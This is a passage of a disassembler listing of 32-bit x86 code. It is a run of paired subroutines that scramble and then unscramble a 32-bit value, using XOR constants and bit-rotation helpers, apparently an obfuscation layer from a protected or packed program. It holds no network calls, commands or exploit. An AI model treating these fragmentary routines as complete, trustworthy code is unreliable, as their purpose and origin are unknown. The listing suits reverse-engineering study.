ecx, [ebp+arg_0] push ecx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 4 push 18h mov edx, [ebp+arg_0] push edx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax mov eax, [ebp+arg_0] xor eax, 1C93A3DDh mov [ebp+arg_0], eax push 0FFFFFFFBh mov ecx, [ebp+arg_0] push ecx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax mov edx, [ebp+arg_0] xor edx, 0B3FB847Ch mov [ebp+arg_0], edx push 0FFFFFFEBh push 9 push 16h mov eax, [ebp+arg_0] push eax call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 0FFFFFFF4h mov ecx, [ebp+arg_0] push ecx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax mov edx, [ebp+arg_0] xor edx, 9344CFF2h mov [ebp+arg_0], edx push 0FFFFFFEFh push 1 push 1Dh mov eax, [ebp+arg_0] push eax call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 17h push 4 mov ecx, [ebp+arg_0] push ecx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax mov edx, [ebp+arg_0] xor edx, 93D5877Eh mov [ebp+arg_0], edx push 0FFFFFFF1h mov eax, [ebp+arg_0] push eax call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax mov ecx, [ebp+arg_0] xor ecx, 0E0C7E95Bh mov [ebp+arg_0], ecx push 0FFFFFFFBh mov edx, [ebp+arg_0] push edx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 14h push 6 mov eax, [ebp+arg_0] push eax call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax mov ecx, [ebp+arg_0] xor ecx, 109A5038h mov [ebp+arg_0], ecx mov eax, [ebp+arg_0] pop ebp retn sub_4932D2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4933E6 proc near ; CODE XREF: sub_495A73+C6p ; sub_4962AA+C7p ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] xor eax, 6F2A152Dh mov [ebp+arg_0], eax push 2 push 0 push 16h mov ecx, [ebp+arg_0] push ecx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax mov edx, [ebp+arg_0] xor edx, 7EAE9678h mov [ebp+arg_0], edx push 1Eh mov eax, [ebp+arg_0] push eax call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 6 push 0Fh push 0Ch mov ecx, [ebp+arg_0] push ecx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax mov edx, [ebp+arg_0] xor edx, 0C474CD12h mov [ebp+arg_0], edx push 6 push 16h mov eax, [ebp+arg_0] push eax call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 3 push 9 push 16h mov ecx, [ebp+arg_0] push ecx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax mov eax, [ebp+arg_0] pop ebp retn sub_4933E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_493474 proc near ; CODE XREF: sub_495A73+Dp ; sub_4962AA+Dp ... arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFDh push 9 push 16h mov eax, [ebp+arg_0] push eax call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 6 push 16h mov ecx, [ebp+arg_0] push ecx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax mov edx, [ebp+arg_0] xor edx, 0C474CD12h mov [ebp+arg_0], edx push 0FFFFFFFAh push 0Fh push 0Ch mov eax, [ebp+arg_0] push eax call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 0FFFFFFE2h mov ecx, [ebp+arg_0] push ecx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax mov edx, [ebp+arg_0] xor edx, 7EAE9678h mov [ebp+arg_0], edx push 0FFFFFFFEh push 0 push 16h mov eax, [ebp+arg_0] push eax call sub_494DFB add esp, 10h mov [ebp+arg_0], eax mov ecx, [ebp+arg_0] xor ecx, 6F2A152Dh mov [ebp+arg_0], ecx mov eax, [ebp+arg_0] pop ebp retn sub_493474 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_493503 proc near ; CODE XREF: sub_4951DA+85p ; sub_4989E5+9Ap ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] xor eax, 896FDAA7h mov [ebp+arg_0], eax push 13h push 6 mov ecx, [ebp+arg_0] push ecx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 14h mov edx, [ebp+arg_0] push edx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax mov eax, [ebp+arg_0] xor eax, 0DC8E7CEFh mov [ebp+arg_0], eax push 12h push 5 mov ecx, [ebp+arg_0] push ecx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 1Ch push 0 push 1Fh mov edx, [ebp+arg_0] push edx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax mov eax, [ebp+arg_0] xor eax, 0CFCD6E7Bh mov [ebp+arg_0], eax push 9 push 10h push 0Eh mov ecx, [ebp+arg_0] push ecx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 1Ch mov edx, [ebp+arg_0] push edx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax mov eax, [ebp+arg_0] pop ebp retn sub_493503 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49359E proc near ; CODE XREF: sub_4951DA+Dp ; sub_4989E5+Dp ... arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFE4h mov eax, [ebp+arg_0] push eax call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 0FFFFFFF7h push 10h push 0Eh mov ecx, [ebp+arg_0] push ecx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax mov edx, [ebp+arg_0] xor edx, 0CFCD6E7Bh mov [ebp+arg_0], edx push 0FFFFFFE4h push 0 push 1Fh mov eax, [ebp+arg_0] push eax call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 12h push 5 mov ecx, [ebp+arg_0] push ecx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax mov edx, [ebp+arg_0] xor edx, 0DC8E7CEFh mov [ebp+arg_0], edx push 0FFFFFFECh mov eax, [ebp+arg_0] push eax call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 13h push 6 mov ecx, [ebp+arg_0] push ecx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax mov edx, [ebp+arg_0] xor edx, 896FDAA7h mov [ebp+arg_0], edx mov eax, [ebp+arg_0] pop ebp retn sub_49359E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49363C proc near ; CODE XREF: sub_495BCB+172p ; sub_49602D+E9p ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] xor eax, 0FE71655Ah mov [ebp+arg_0], eax push 5 push 19h mov ecx, [ebp+arg_0] push ecx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 8 push 0Bh push 13h mov edx, [ebp+arg_0] push edx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax mov eax, [ebp+arg_0] xor eax, 9C3DDD69h mov [ebp+arg_0], eax push 5 mov ecx, [ebp+arg_0] push ecx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 17h push 8 mov edx, [ebp+arg_0] push edx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 4 mov eax, [ebp+arg_0] push eax call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 0Fh push 3 mov ecx, [ebp+arg_0] push ecx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 3 push 13h mov edx, [ebp+arg_0] push edx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 9 push 0 push 13h mov eax, [ebp+arg_0] push eax call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 0 push 0Bh mov ecx, [ebp+arg_0] push ecx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 7 mov edx, [ebp+arg_0] push edx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 0 push 15h mov eax, [ebp+arg_0] push eax call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 17h push 8 mov ecx, [ebp+arg_0] push ecx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax mov eax, [ebp+arg_0] pop ebp retn sub_49363C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49373C proc near ; CODE XREF: sub_495BCB+Dp ; sub_49602D+Dp ... arg_0 = dword ptr 8 push ebp mov ebp, esp push 17h push 8 mov eax, [ebp+arg_0] push eax call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 0 push 15h mov ecx, [ebp+arg_0] push ecx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 0FFFFFFF9h mov edx, [ebp+arg_0] push edx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 0 push 0Bh mov eax, [ebp+arg_0] push eax call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 0FFFFFFF7h push 0 push 13h mov ecx, [ebp+arg_0] push ecx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 3 push 13h mov edx, [ebp+arg_0] push edx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 0Fh push 3 mov eax, [ebp+arg_0] push eax call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 0FFFFFFFCh mov ecx, [ebp+arg_0] push ecx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 17h push 8 mov edx, [ebp+arg_0] push edx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 0FFFFFFFBh mov eax, [ebp+arg_0] push eax call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax mov ecx, [ebp+arg_0] xor ecx, 9C3DDD69h mov [ebp+arg_0], ecx push 0FFFFFFF8h push 0Bh push 13h mov edx, [ebp+arg_0] push edx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 5 push 19h mov eax, [ebp+arg_0] push eax call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax mov ecx, [ebp+arg_0] xor ecx, 0FE71655Ah mov [ebp+arg_0], ecx mov eax, [ebp+arg_0] pop ebp retn sub_49373C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49383E proc near ; CODE XREF: sub_497CCC+92p ; sub_49823A+76p ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] xor eax, 55D13062h mov [ebp+arg_0], eax push 9 mov ecx, [ebp+arg_0] push ecx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 3 push 19h push 6 mov edx, [ebp+arg_0] push edx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 0Fh push 1 mov eax, [ebp+arg_0] push eax call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 5 mov ecx, [ebp+arg_0] push ecx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax mov edx, [ebp+arg_0] xor edx, 0FE4FFC3Bh mov [ebp+arg_0], edx push 16h mov eax, [ebp+arg_0] push eax call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 0Ah push 7 mov ecx, [ebp+arg_0] push ecx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax mov edx, [ebp+arg_0] xor edx, 0A3C6C0h mov [ebp+arg_0], edx push 0Ah mov eax, [ebp+arg_0] push eax call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 9 push 5 push 15h mov ecx, [ebp+arg_0] push ecx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax mov eax, [ebp+arg_0] pop ebp retn sub_49383E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4938FD proc near ; CODE XREF: sub_497CCC+Dp ; sub_49823A+Dp ... arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFF7h push 5 push 15h mov eax, [ebp+arg_0] push eax call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 0FFFFFFF6h mov ecx, [ebp+arg_0] push ecx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax mov edx, [ebp+arg_0] xor edx, 0A3C6C0h mov [ebp+arg_0], edx push 0Ah push 7 mov eax, [ebp+arg_0] push eax call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 0FFFFFFEAh mov ecx, [ebp+arg_0] push ecx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax mov edx, [ebp+arg_0] xor edx, 0FE4FFC3Bh mov [ebp+arg_0], edx push 0FFFFFFFBh mov eax, [ebp+arg_0] push eax call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 0Fh push 1 mov ecx, [ebp+arg_0] push ecx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 0FFFFFFFDh push 19h push 6 mov edx, [ebp+arg_0] push edx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 0FFFFFFF7h mov eax, [ebp+arg_0] push eax call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax mov ecx, [ebp+arg_0] xor ecx, 55D13062h mov [ebp+arg_0], ecx mov eax, [ebp+arg_0] pop ebp retn sub_4938FD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4939BD proc near ; CODE XREF: sub_49818A+A0p ; sub_499C30+87p ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] xor eax, 0F5DB02F4h mov [ebp+arg_0], eax push 1Ch push 3 mov ecx, [ebp+arg_0] push ecx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 1Ah push 0 push 1Ch mov edx, [ebp+arg_0] push edx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 0Ch mov eax, [ebp+arg_0] push eax call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 0Ah push 0Ah mov ecx, [ebp+arg_0] push ecx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 9 mov edx, [ebp+arg_0] push edx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 9 push 16h mov eax, [ebp+arg_0] push eax call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 14h mov ecx, [ebp+arg_0] push ecx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax mov eax, [ebp+arg_0] pop ebp retn sub_4939BD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_493A51 proc near ; CODE XREF: sub_49818A+Dp ; sub_499C30+Dp ... arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFECh mov eax, [ebp+arg_0] push eax call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 9 push 16h mov ecx, [ebp+arg_0] push ecx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 0FFFFFFF7h mov edx, [ebp+arg_0] push edx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 0Ah push 0Ah mov eax, [ebp+arg_0] push eax call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 0FFFFFFF4h mov ecx, [ebp+arg_0] push ecx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 0FFFFFFE6h push 0 push 1Ch mov edx, [ebp+arg_0] push edx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 1Ch push 3 mov eax, [ebp+arg_0] push eax call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax mov ecx, [ebp+arg_0] xor ecx, 0F5DB02F4h mov [ebp+arg_0], ecx mov eax, [ebp+arg_0] pop ebp retn sub_493A51 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_493AE6 proc near ; CODE XREF: sub_49526F+AAp ; sub_4954BD+7Ap ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] xor eax, 9D484E5Bh mov [ebp+arg_0], eax push 0Dh push 5 push 1Ah mov ecx, [ebp+arg_0] push ecx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 0Bh push 0Ah mov edx, [ebp+arg_0] push edx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 4 mov eax, [ebp+arg_0] push eax call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 14h push 7 mov ecx, [ebp+arg_0] push ecx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 1Eh mov edx, [ebp+arg_0] push edx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 0Eh push 4 push 13h mov eax, [ebp+arg_0] push eax call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 8 mov ecx, [ebp+arg_0] push ecx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 0Ch push 3 mov edx, [ebp+arg_0] push edx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax mov eax, [ebp+arg_0] xor eax, 3B0C95AAh mov [ebp+arg_0], eax push 0 push 1Eh mov ecx, [ebp+arg_0] push ecx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax mov edx, [ebp+arg_0] xor edx, 0B91BDACEh mov [ebp+arg_0], edx push 0Eh push 6 mov eax, [ebp+arg_0] push eax call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 1Dh mov ecx, [ebp+arg_0] push ecx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 12h push 3 mov edx, [ebp+arg_0] push edx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 8 push 9 push 0Eh mov eax, [ebp+arg_0] push eax call sub_494DFB add esp, 10h mov [ebp+arg_0], eax mov ecx, [ebp+arg_0] xor ecx, 0BE2CD440h mov [ebp+arg_0], ecx push 4 push 0 push 1Eh mov edx, [ebp+arg_0] push edx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 0 push 1Fh mov eax, [ebp+arg_0] push eax call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 0Ch push 0Fh push 0Dh mov ecx, [ebp+arg_0] push ecx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax mov eax, [ebp+arg_0] pop ebp retn sub_493AE6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_493C4E proc near ; CODE XREF: sub_49526F+Dp ; sub_4954BD+Dp ... arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFF4h push 0Fh push 0Dh mov eax, [ebp+arg_0] push eax call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 0 push 1Fh mov ecx, [ebp+arg_0] push ecx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 0FFFFFFFCh push 0 push 1Eh mov edx, [ebp+arg_0] push edx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax mov eax, [ebp+arg_0] xor eax, 0BE2CD440h mov [ebp+arg_0], eax push 0FFFFFFF8h push 9 push 0Eh mov ecx, [ebp+arg_0] push ecx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 12h push 3 mov edx, [ebp+arg_0] push edx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 0FFFFFFE3h mov eax, [ebp+arg_0] push eax call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 0Eh push 6 mov ecx, [ebp+arg_0] push ecx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax mov edx, [ebp+arg_0] xor edx, 0B91BDACEh mov [ebp+arg_0], edx push 0 push 1Eh mov eax, [ebp+arg_0] push eax call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax mov ecx, [ebp+arg_0] xor ecx, 3B0C95AAh mov [ebp+arg_0], ecx push 0Ch push 3 mov edx, [ebp+arg_0] push edx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 0FFFFFFF8h mov eax, [ebp+arg_0] push eax call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 0FFFFFFF2h push 4 push 13h mov ecx, [ebp+arg_0] push ecx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 0FFFFFFE2h mov edx, [ebp+arg_0] push edx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 14h push 7 mov eax, [ebp+arg_0] push eax call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 0FFFFFFFCh mov ecx, [ebp+arg_0] push ecx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 0Bh push 0Ah mov edx, [ebp+arg_0] push edx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 0FFFFFFF3h push 5 push 1Ah mov eax, [ebp+arg_0] push eax call sub_494DFB add esp, 10h mov [ebp+arg_0], eax mov ecx, [ebp+arg_0] xor ecx, 9D484E5Bh mov [ebp+arg_0], ecx mov eax, [ebp+arg_0] pop ebp retn sub_493C4E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_493DB7 proc near ; CODE XREF: sub_495B49+72p ; sub_495D4D+75p ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] xor eax, (offset loc_4B9F6E+5) mov [ebp+arg_0], eax push 0Fh push 0 push 19h mov ecx, [ebp+arg_0] push ecx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax mov edx, [ebp+arg_0] xor edx, 49AB408Dh mov [ebp+arg_0], edx push 0 push 1Ah mov eax, [ebp+arg_0] push eax call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 1Ch mov ecx, [ebp+arg_0] push ecx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 6 push 13h push 7 mov edx, [ebp+arg_0] push edx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax mov eax, [ebp+arg_0] xor eax, 5B5DE439h mov [ebp+arg_0], eax push 5 push 18h mov ecx, [ebp+arg_0] push ecx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax mov edx, [ebp+arg_0] xor edx, 4155876Fh mov [ebp+arg_0], edx push 0Ch push 0Fh push 0Fh mov eax, [ebp+arg_0] push eax call sub_494DFB add esp, 10h mov [ebp+arg_0], eax mov ecx, [ebp+arg_0] xor ecx, 842758ADh mov [ebp+arg_0], ecx push 6 push 9 push 15h mov edx, [ebp+arg_0] push edx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax mov eax, [ebp+arg_0] xor eax, 0C059A4C8h mov [ebp+arg_0], eax push 0Ch push 2 mov ecx, [ebp+arg_0] push ecx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 15h push 7 mov edx, [ebp+arg_0] push edx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 4 push 3 push 0Dh mov eax, [ebp+arg_0] push eax call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 18h mov ecx, [ebp+arg_0] push ecx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax mov eax, [ebp+arg_0] pop ebp retn sub_493DB7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_493EDB proc near ; CODE XREF: sub_495B49+Dp ; sub_498A8F+Dp ... arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFE8h mov eax, [ebp+arg_0] push eax call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 0FFFFFFFCh push 3 push 0Dh mov ecx, [ebp+arg_0] push ecx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 15h push 7 mov edx, [ebp+arg_0] push edx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 0Ch push 2 mov eax, [ebp+arg_0] push eax call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax mov ecx, [ebp+arg_0] xor ecx, 0C059A4C8h mov [ebp+arg_0], ecx push 0FFFFFFFAh push 9 push 15h mov edx, [ebp+arg_0] push edx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax mov eax, [ebp+arg_0] xor eax, 842758ADh mov [ebp+arg_0], eax push 0FFFFFFF4h push 0Fh push 0Fh mov ecx, [ebp+arg_0] push ecx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax mov edx, [ebp+arg_0] xor edx, 4155876Fh mov [ebp+arg_0], edx push 5 push 18h mov eax, [ebp+arg_0] push eax call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax mov ecx, [ebp+arg_0] xor ecx, 5B5DE439h mov [ebp+arg_0], ecx push 0FFFFFFFAh push 13h push 7 mov edx, [ebp+arg_0] push edx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 0FFFFFFE4h mov eax, [ebp+arg_0] push eax call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 0 push 1Ah mov ecx, [ebp+arg_0] push ecx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax mov edx, [ebp+arg_0] xor edx, 49AB408Dh mov [ebp+arg_0], edx push 0FFFFFFF1h push 0 push 19h mov eax, [ebp+arg_0] push eax call sub_494DFB add esp, 10h mov [ebp+arg_0], eax mov ecx, [ebp+arg_0] xor ecx, (offset loc_4B9F6E+5) mov [ebp+arg_0], ecx mov eax, [ebp+arg_0] pop ebp retn sub_493EDB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_494001 proc near ; CODE XREF: sub_49568F+A4p ; sub_499286+6Ep ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] xor eax, 373364AFh mov [ebp+arg_0], eax push 5 push 1Ah mov ecx, [ebp+arg_0] push ecx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 13h mov edx, [ebp+arg_0] push edx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 0Ah push 0 push 1Eh mov eax, [ebp+arg_0] push eax call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 1 push 0Bh mov ecx, [ebp+arg_0] push ecx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 16h push 2 mov edx, [ebp+arg_0] push edx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 0 push 1Dh mov eax, [ebp+arg_0] push eax call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 13h mov ecx, [ebp+arg_0] push ecx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 0Fh push 0Dh push 10h mov edx, [ebp+arg_0] push edx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 0Ch mov eax, [ebp+arg_0] push eax call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 10h push 1 mov ecx, [ebp+arg_0] push ecx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax mov edx, [ebp+arg_0] xor edx, 0CA088364h mov [ebp+arg_0], edx push 0Ch push 4 mov eax, [ebp+arg_0] push eax call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 7 mov ecx, [ebp+arg_0] push ecx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax mov edx, [ebp+arg_0] xor edx, 8CC61930h mov [ebp+arg_0], edx push 6 push 0 push 1Eh mov eax, [ebp+arg_0] push eax call sub_494DFB add esp, 10h mov [ebp+arg_0], eax mov eax, [ebp+arg_0] pop ebp retn sub_494001 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_494121 proc near ; CODE XREF: sub_49568F+Dp ; sub_4999E5+Dp ... arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFAh push 0 push 1Eh mov eax, [ebp+arg_0] push eax call sub_494DFB add esp, 10h mov [ebp+arg_0], eax mov ecx, [ebp+arg_0] xor ecx, 8CC61930h mov [ebp+arg_0], ecx push 0FFFFFFF9h mov edx, [ebp+arg_0] push edx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 0Ch push 4 mov eax, [ebp+arg_0] push eax call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax mov ecx, [ebp+arg_0] xor ecx, 0CA088364h mov [ebp+arg_0], ecx push 10h push 1 mov edx, [ebp+arg_0] push edx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 0FFFFFFF4h mov eax, [ebp+arg_0] push eax call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 0FFFFFFF1h push 0Dh push 10h mov ecx, [ebp+arg_0] push ecx call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 0FFFFFFEDh mov edx, [ebp+arg_0] push edx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 0 push 1Dh mov eax, [ebp+arg_0] push eax call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 16h push 2 mov ecx, [ebp+arg_0] push ecx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax push 1 push 0Bh mov edx, [ebp+arg_0] push edx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax push 0FFFFFFF6h push 0 push 1Eh mov eax, [ebp+arg_0] push eax call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 0FFFFFFEDh mov ecx, [ebp+arg_0] push ecx call sub_494DD0 add esp, 8 mov [ebp+arg_0], eax push 5 push 1Ah mov edx, [ebp+arg_0] push edx call sub_494ED4 add esp, 0Ch mov [ebp+arg_0], eax mov eax, [ebp+arg_0] xor eax, 373364AFh mov [ebp+arg_0], eax mov eax, [ebp+arg_0] pop ebp retn sub_494121 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_494241 proc near ; CODE XREF: sub_4961D1+C9p ; sub_49C74A+8Ap ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] xor eax, 1D04DC3Bh mov [ebp+arg_0], eax push 13h push 8 mov ecx, [ebp+arg_0] push ecx call sub_494E72 add esp, 0Ch mov [ebp+arg_0], eax mov edx, [ebp+arg_0] xor edx, 0A48425Ah mov [ebp+arg_0], edx push 1Dh push 1 push 1Eh mov eax, [ebp+arg_0] push eax call sub_494DFB add esp, 10h mov [ebp+arg_0], eax push 0Fh push 3 mov ecx, [ebp+arg_0] push ecx 